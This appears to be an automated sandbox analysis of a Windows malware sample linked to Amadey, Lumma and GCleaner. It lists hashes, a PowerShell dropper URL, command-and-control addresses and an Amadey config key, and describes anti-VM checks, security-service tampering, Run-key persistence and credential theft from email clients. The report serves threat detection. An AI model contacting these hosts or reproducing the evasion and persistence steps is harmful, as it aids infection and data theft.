amadey | d26022e6a7e6e4fc7daba48705a49845fe73acd2630d577937cde2c9948b4614

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2025, 08:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

X4ART_random.exe
Size

1.8MB
MD5

0d397828202c894e2ef844b26e254853
SHA1

643c9fa847acfab19a151de57596d88be6d5fd11
SHA256

d26022e6a7e6e4fc7daba48705a49845fe73acd2630d577937cde2c9948b4614
SHA512

5bd441e7357ff7ef1367e5257bc569ec43f365cd80e95629138644e593d93b458f76aa7339468e2e175362b0f6013e12f71906218ebf532aeaf09347f1ec6661
SSDEEP

24576:ZP/qjRC55a3RpBf0LNafQTUGhQTSg5723OiTkvMX0NwBmsREOrYAirzWn3vBZ3:lqekR0L3waQu823OiwfNLTXoBZ

Score

10^/10

amadey gcleaner lumma 092155 defense_evasion discovery execution exploit loader persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://pepperiop.digital/oage

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://.ywmedici.top/noagis

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://xrfxcaseq.live/gspaz

https://ywmedici.top/noagis

https://gquavabvc.top/iuzhd

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

Extracted

Family

gcleaner

185.156.73.98

45.91.200.135

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1968 created 656	1968	MSBuild.exe	51

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	X4ART_random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	df9d571107.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a2369d1045.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	29f4b3c038.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	910d28d4d6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
179	1916	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5124	powershell.exe
2276	powershell.exe
1916	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 21 IoCs

flow	pid	Process
179	1916	powershell.exe
27	3732	rapes.exe
27	3732	rapes.exe
27	3732	rapes.exe
27	3732	rapes.exe
27	3732	rapes.exe
27	3732	rapes.exe
178	3732	rapes.exe
178	3732	rapes.exe
178	3732	rapes.exe
234	3732	rapes.exe
234	3732	rapes.exe
363	3732	rapes.exe
363	3732	rapes.exe
363	3732	rapes.exe
363	3732	rapes.exe
363	3732	rapes.exe
363	3732	rapes.exe
363	3732	rapes.exe
799	1324	svchost015.exe
1140	5852	svchost015.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4948	takeown.exe
5988	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 22 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	df9d571107.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1f7425ccce.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a2369d1045.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	29f4b3c038.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	29f4b3c038.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	X4ART_random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	df9d571107.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1f7425ccce.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a2369d1045.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	910d28d4d6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	X4ART_random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	910d28d4d6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	X4ART_random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	d8b660d9e5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	larBxd7.exe

Executes dropped EXE 64 IoCs

pid	Process
3732	rapes.exe
3180	VrQSuEQ.exe
1900	58f98d6c78.exe
1396	df9d571107.exe
3232	1f7425ccce.exe
5844	rapes.exe
3704	05c9c5976d.exe
3252	d8b660d9e5.exe
3164	272.exe
3248	272.exe
1280	2169777ade.exe
2068	b248538712.exe
6008	0a3ed10094.exe
2900	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
3232	a2369d1045.exe
2956	1bf9ea8b3e.exe
1324	svchost015.exe
3136	29f4b3c038.exe
5852	svchost015.exe
3704	YMauSAr.exe
4084	rapes.exe
2340	javaplugin_service.exe
5696	javaservicew.exe
3660	javaruntime_platform.exe
2964	javaplatform_service.exe
1396	javaplatform.exe
5020	javaplugin_platform.exe
4908	javaplugin_update.exe
6120	javaupdater_service.exe
3612	javaservice_service.exe
3144	javaplatform_platform.exe
1256	javaplatformw.exe
3016	javapluginw.exe
1180	javasupport.exe
3700	javaservice_service.exe
212	javaplatform_platform.exe
4960	javaservice_platform.exe
1100	javaservice_update.exe
5228	javaplugin_platform.exe
5176	javaruntimew.exe
404	javaplatform_platform.exe
2812	javaupdaterw.exe
4908	javaplugin.exe
3248	javaplugin_update.exe
1832	javasupport_update.exe
4000	javasupport_update.exe
6052	javaupdaterw.exe
872	javaruntime_platform.exe
1100	qhjMWht.exe
4508	javaupdaterw.exe
5088	javasupport.exe
2040	javaplatform_platform.exe
3304	javaruntimew.exe
5044	javaplugin_platform.exe
1048	javaplatform.exe
5084	javasupport_platform.exe
2524	javaupdater_update.exe
5980	javaplugin_update.exe
3332	javaservice_platform.exe
1712	javaplatform_update.exe
5680	javaservice_platform.exe
5272	javaruntime.exe
2852	javaservice_service.exe
6128	javaplatformw.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	910d28d4d6.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	a2369d1045.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	X4ART_random.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	df9d571107.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Wine	29f4b3c038.exe

Loads dropped DLL 47 IoCs

pid	Process
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe
540	ZSoeRVBe.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4948	takeown.exe
5988	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Java Platform SE javaplatform_service.exe = "\"C:\\Users\\Admin\\AppData\\Roaming\\Oracle\\javaplatform_service.exe\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\df9d571107.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10475110101\\df9d571107.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1f7425ccce.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10475120101\\1f7425ccce.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\05c9c5976d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10475130101\\05c9c5976d.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d8b660d9e5.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10475140101\\d8b660d9e5.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Java Platform SE javasupport_update.exe = "\"C:\\Users\\Admin\\AppData\\Roaming\\Oracle\\javasupport_update.exe\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
236	ip-api.com
239	ipinfo.io
240	ipinfo.io

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000700000002429a-100.dat	autoit_exe
behavioral1/files/0x00090000000242d6-582.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5140	tasklist.exe
3056	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
2496	X4ART_random.exe
3732	rapes.exe
1396	df9d571107.exe
5844	rapes.exe
2900	TempBJJBOUEDPNPW3BKLDUFKYML4RYU7WAT9.EXE
3232	a2369d1045.exe
3136	29f4b3c038.exe
4084	rapes.exe
3560	910d28d4d6.exe
3100	rapes.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 3180 set thread context of 3520	3180	VrQSuEQ.exe	98
PID 1900 set thread context of 1704	1900	58f98d6c78.exe	103
PID 2956 set thread context of 1324	2956	1bf9ea8b3e.exe	218
PID 3136 set thread context of 5852	3136	29f4b3c038.exe	221
PID 4508 set thread context of 1968	4508	TbV75ZR.exe	379
PID 3936 set thread context of 3660	3936	LJl8AAr.exe	388
PID 5248 set thread context of 2348	5248	n0hEgR9.exe	400

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\GentleOklahoma	larBxd7.exe
File opened for modification	C:\Windows\ModularVol	larBxd7.exe
File opened for modification	C:\Windows\LowerOrgasm	larBxd7.exe
File created	C:\Windows\Tasks\rapes.job	X4ART_random.exe
File opened for modification	C:\Windows\GovernmentalOttawa	larBxd7.exe
File opened for modification	C:\Windows\AmongDouble	larBxd7.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2832	sc.exe
3268	sc.exe
5084	sc.exe
3708	sc.exe
1832	sc.exe
2708	sc.exe
5844	sc.exe
332	sc.exe
5944	sc.exe
4552	sc.exe
4276	sc.exe
2900	sc.exe
5560	sc.exe
1464	sc.exe
1280	sc.exe
3736	sc.exe
4084	sc.exe
3264	sc.exe
856	sc.exe
2476	sc.exe
2844	sc.exe
916	sc.exe
5044	sc.exe
1256	sc.exe
5412	sc.exe
1604	sc.exe
2680	sc.exe
2932	sc.exe
5004	sc.exe
2680	sc.exe
1916	sc.exe
5484	sc.exe
2252	sc.exe
2560	sc.exe
2088	sc.exe
4504	sc.exe
1648	sc.exe
2804	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4504	1968	WerFault.exe	379

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaruntimew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaupdater_update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaupdaterw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Jordan.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatformw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplugin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplugin_update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform_platform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javasupport_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	X4ART_random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaupdater_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaservice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaruntimew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaservice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaservice_service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0a3ed10094.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform_platform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YMauSAr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	larBxd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaruntimew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	df9d571107.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javasupport_platform.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaupdater_update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaplatform_update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1bf9ea8b3e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
